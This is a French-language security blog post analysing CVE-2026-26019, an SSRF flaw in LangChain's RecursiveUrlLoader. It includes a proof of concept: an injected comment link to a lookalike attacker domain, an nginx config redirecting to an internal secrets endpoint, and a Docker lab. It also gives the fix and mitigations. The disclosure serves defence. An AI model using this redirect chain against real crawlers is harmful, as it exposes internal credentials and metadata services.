Neutron, notre moteur d’IA, a obtenu un score de 96,75 % sur le benchmark CyberGym de l’UC Berkeley. En savoir plus

Sécurité

Sécurité

CVE-2026-26019 : vulnérabilité de falsification de requête côté serveur dans RecursiveUrlLoader de LangChain

Analyse technique de la CVE-2026-26019, une vulnérabilité SSRF de sévérité moyenne (CVSS 4,1) dans le paquet JavaScript LangChain Community (< 1.1.14). La classe RecursiveUrlLoader valide les URL explorées avec une simple vérification de préfixe de chaîne, ce qui permet à un attaquant de contourner la restriction preventOutside par défaut avec un domaine suffixé et de rediriger le crawler vers des actifs du réseau interne, avec un risque d'exposition d'identifiants sensibles et de points de terminaison de métadonnées.

CVE-2026-26019

Vulnérabilité de falsification de requête côté serveur dans RecursiveUrlLoader de LangChain

11 février 2026 · CVSS 4,1 Medium · Langchain Community < 1.1.14

CVE ID CVSS Versions affectées Corrigé
CVE-2026-26019 4.1 Medium < 1.1.14 1.1.14+

Présentation de la CVE-2026-26019 : SSRF dans RecursiveUrlLoader de LangChain

Le paquet @langchain/community fournit une classe RecursiveUrlLoader qui sert à explorer récursivement des pages web et à charger leur contenu sous forme de documents destinés au traitement par un LLM. Une vulnérabilité de falsification de requête côté serveur (SSRF) a été découverte dans la façon dont ce loader valide les URL enfants par rapport à l'URL de base lorsque le paramètre preventOutside est activé, ce qui est le réglage par défaut.

La cause racine tient à l'utilisation de la méthode String.startsWith() de JavaScript pour la validation des URL. Lorsque preventOutside vaut true, le loader vérifie si chaque lien découvert commence par la chaîne baseUrl. Cette vérification de préfixe naïve ne tient pas compte des frontières de domaine : une URL malveillante comme http[:]//example[.]com.evil.com passe donc la validation face à une URL de base http[:]//example[.]com, puisque la chaîne commence techniquement par le même préfixe.

Si un attaquant peut injecter un lien dans une page explorée (par exemple via une section de commentaires, du contenu généré par les utilisateurs ou une page compromise), il peut rediriger le crawler vers une infrastructure qu'il contrôle, qui peut à son tour le rediriger vers des ressources du réseau interne, exposant des données sensibles comme des clés d'API, des services de métadonnées et des points de terminaison internes.

SSRF dans la validation des URL : correspondance de préfixe non sécurisée

Le cœur du problème est une vérification d'origine d'URL insuffisante. Le loader parcourt tous les liens découverts sur une page et applique une simple comparaison de préfixe de chaîne pour décider si chaque lien se trouve « à l'intérieur » du périmètre d'exploration autorisé. L'extrait de code suivant montre la logique vulnérable :

for (const link of allLinks) {
        if (invalidPrefixes.some((prefix) => link.startsWith(prefix)) || invalidSuffixes.some((suffix) => link.endsWith(suffix))) continue;
        let standardizedLink;
        if (link.startsWith("http")) standardizedLink = link;
        else if (link.startsWith("//")) {
            const base = new URL(baseUrl);
            standardizedLink = base.protocol + link;
        } else standardizedLink = new URL(link, baseUrl).href;
        if (this.excludeDirs.some((exDir) => standardizedLink.startsWith(exDir))) continue;
        if (link.startsWith("http")) {
                const isAllowed = !this.preventOutside || link.startsWith(baseUrl);  /* The critical check line */
                if (isAllowed) absolutePaths.push(link);
                } else if (link.startsWith("//")) {
                    const base = new URL(baseUrl);
                    bsolutePaths.push(base.protocol + link);
                } else {
                    const newLink = new URL(link, baseUrl).href;
                    absolutePaths.push(newLink);
                        }
                }

La ligne critique est la vérification link.startsWith(baseUrl). Comme startsWith() effectue une comparaison brute de chaînes, le contournement suivant est trivial :

// baseUrl = "http://docs.securecorp.com" 
// Attacker link that passes the startsWith
check: "http://docs.securecorp.com.attacker-server.local/"
.startsWith("http://docs.securecorp.com") // => true

Preuve de concept de la CVE-2026-26019 : de la SSRF aux actifs internes

L'exploitation de la CVE-2026-26019 suit un processus délibéré en trois étapes pour tirer parti de la faille de validation des URL et accéder à des ressources du réseau interne. Les étapes suivantes décrivent comment un attaquant passe d'une simple injection de lien à une exploitation complète de la SSRF.

Étape 1 : injecter le lien malveillant

Le processus commence par l'exploration d'un site de documentation légitime par l'application vulnérable. L'attaquant injecte un lien dans du contenu contrôlé par l'utilisateur sur la page cible (par exemple une section de commentaires). L'URL injectée est conçue pour passer la validation de préfixe, en faisant précéder le domaine de l'attaquant de l'URL de base légitime :

<!DOCTYPE html>
<html>
<head><title>SecureCorp Documentation</title></head>
<body>
  <h1>SecureCorp API Documentation</h1>
  <p>Welcome to our documentation portal.</p>

  <h2>REST API Reference</h2>
  <a href="/api/v1.html">API v1</a>
  <a href="/api/v2.html">API v2</a>

  <hr>
  <h2>Community Comments</h2>
  <div class="comment">
    <b>attacker_user</b>: Hey, I found a typo in the API docs! 
    Check out the corrected version here:
    <a href="http://docs.securecorp.com.attacker-server.local/typo-fix">
      Check this out!!
    </a>
  </div>
</body>
</html>

Étape 2 : configurer la redirection de l'attaquant

L'attaquant configure son serveur pour recevoir la requête du crawler et émettre une redirection 301 vers un service interne. C'est l'étape clé qui transforme le contournement SSRF en accès à l'infrastructure interne :

server {
    listen 80;
    server_name docs.securecorp.com.attacker-server.local;

    # Step 1: Crawler lands here from the poisoned link
    location /typo-fix {
        # 301 Redirect to the internal metadata service
        return 301 http://internal-secret/api/keys;
    }

    # Serve any other pages normally (to seem legit)
    location / {
        root /usr/share/nginx/html;
        index index.html;
    }
}

Étape 3 : mettre en place l'environnement de test

Pour reproduire la faille, on utilise un environnement Docker contrôlé qui exécute la version vulnérable (@langchain/community v1.1.13). L'environnement se compose de quatre services :

  • legitimate-docs — Le site de documentation exploré, qui contient le lien injecté.
  • attacker — Le serveur nginx contrôlé par l'attaquant, qui émet la redirection.
  • internal-secret — Un service interne accessible uniquement via l'application web vulnérable. En pratique, il pourrait représenter un serveur de base de données aux défenses contre l'injection SQL assouplies (car il fait confiance au réseau interne), un point de terminaison de métadonnées cloud comme AWS IMDS, ou des ports de services internes filtrés pour l'accès externe mais pleinement joignables depuis le réseau de l'application.
  • vulnerable — L'application web Node.js qui utilise RecursiveUrlLoader.
$ tree .
.
├── attacker # attacker controlled server
│   ├── index.html
│   └── nginx.conf
├── docker-compose.yml
├── internal # internal server accessible only through the vulnrable application
│   ├── Dockerfile
│   └── server.py
├── legitimate-docs # the doc site to crawl by the vulnerable web app 
│   ├── api
│   │   └── v1.html
│   └── index.html
└── vulnerable #  the vulnerable web app server
    ├── app.mjs
    ├── Dockerfile
    └── package.json

Un simple endpoint Express déclenche l'exploration avec preventOutside : true

app.get("/crawl", async (req, res) => {
  const { url } = req.query;
  if (!url) return res.status(400).json({ error: "url param required" });

  console.log(`\n${"=".repeat(60)}`);
  console.log(`[*] Crawl requested for: ${url}`);
  console.log(`[*] prevent
Outside: true`);
  console.log(`${"=".repeat(60)}`);

  try {
    const { RecursiveUrlLoader } = await import(
      "@langchain/community/document_loaders/web/recursive_url"
    );

    const compiledConvert = compile({ wordwrap: false });

    const loader = new RecursiveUrlLoader(url, {
      maxDepth: 3,
      preventOutside: true,
      extractor: (html) => compiledConvert(html),
    });                                     

Étape 4 : exploitation et exfiltration de données

Lorsque la requête d'exploration vise le site de documentation légitime, la chaîne suivante s'exécute :

  • Découverte des liens : le crawler analyse la page légitime et découvre tous les liens, y compris l'URL injectée par l'attaquant.
  • Contournement de la validation : le lien injecté passe la vérification startsWith() car il commence par la chaîne de l'URL de base.
  • Chaîne de redirection : le crawler suit le lien vers le serveur de l'attaquant, qui répond par une redirection 301 vers le service interne.
  • Exposition de données : le crawler suit la redirection et récupère la ressource interne, en renvoyant des données sensibles (clés d'API, jetons, ARN) dans les résultats de l'exploration.

L'attaquant a ainsi utilisé avec succès la vulnérabilité SSRF pour accéder à des actifs du réseau interne et exfiltrer des identifiants sensibles, le tout via un unique lien injecté sur une page publique.

Comment corriger la CVE-2026-26019 dans RecursiveUrlLoader de LangChain

Le moyen le plus efficace de sécuriser votre environnement est de passer à la version 1.1.14 ou supérieure de @langchain/community. Le correctif remplace la vérification de préfixe naïve startsWith() par une comparaison d'origine stricte à l'aide de l'API URL.

Analyse du code corrigé

La version corrigée introduit une validation fondée sur l'origine, qui isole correctement la frontière du domaine et empêche tout contournement par domaine suffixé :

// BEFORE (vulnerable): raw string prefix match const isAllowed = !this.preventOutside ||
link.startsWith(baseUrl); 
// AFTER (fixed): strict origin comparison via URL API const
isAllowed = !this.preventOutside || new URL(link).origin === new URL(baseUrl).origin;

Le cas de test suivant, issu de la version corrigée, illustre le correctif :

    test("blocks cross-origin URLs with preventOutside", async () => {
      // The key test: verify that subdomain-based SSRF bypasses are blocked
      const baseUrl = "https://example.com";
      const maliciousUrl = "https://example.com.attacker.com";

      // The old vulnerable code would have allowed this:
      // "https://example.com.attacker.com".startsWith("https://example.com") === true
      const vulnerableCheck = maliciousUrl.startsWith(baseUrl);
      expect(vulnerableCheck).toBe(true); // vulnerable approach allows this

      // But the fixed code should reject it:
      // new URL(maliciousUrl).origin !== new URL(baseUrl).origin
      const secureCheck =
        new URL(maliciousUrl).origin === new URL(baseUrl).origin;
      expect(secureCheck).toBe(false); // secure approach blocks this
    });

Atténuation de la CVE-2026-26019 et bonnes pratiques

  • Mettre à jour immédiatement : si vous utilisez @langchain/community pour l'exploration web, assurez-vous d'être sur la version 1.1.14 ou supérieure.
  • Valider les origines, pas les préfixes : utilisez toujours une analyse d'URL appropriée (par exemple new URL(link).origin) plutôt qu'une correspondance de préfixe de chaîne lors de la comparaison de domaines.
  • Segmentation réseau : veillez à ce que les services qui effectuent de l'exploration web ne puissent pas atteindre directement les points de terminaison de métadonnées internes ni l'infrastructure sensible.
  • Filtrage du trafic sortant : appliquez des listes d'autorisation ou de blocage au niveau du réseau pour restreindre les requêtes sortantes des services d'exploration à des destinations connues comme sûres.
  • Assainissement des entrées : assainissez le contenu généré par les utilisateurs sur les pages susceptibles d'être explorées, en supprimant ou en validant les liens externes avant leur affichage.

Références

Ressource Lien
Avis GitHub GHSA-gf3v-fwqg-4vh7 https://github.com/advisories/GHSA-gf3v-fwqg-4vh7
Modifications du correctif LangChain https://github.com/langchain-ai/langchainjs/commit/d5e3db0d01ab321ec70a875805b2f74aefdadf9d
NVD https://nvd.nist.gov/vuln/detail/CVE-2026-26019
CWE-918 SSRF https://cwe.mitre.org/data/definitions/918.html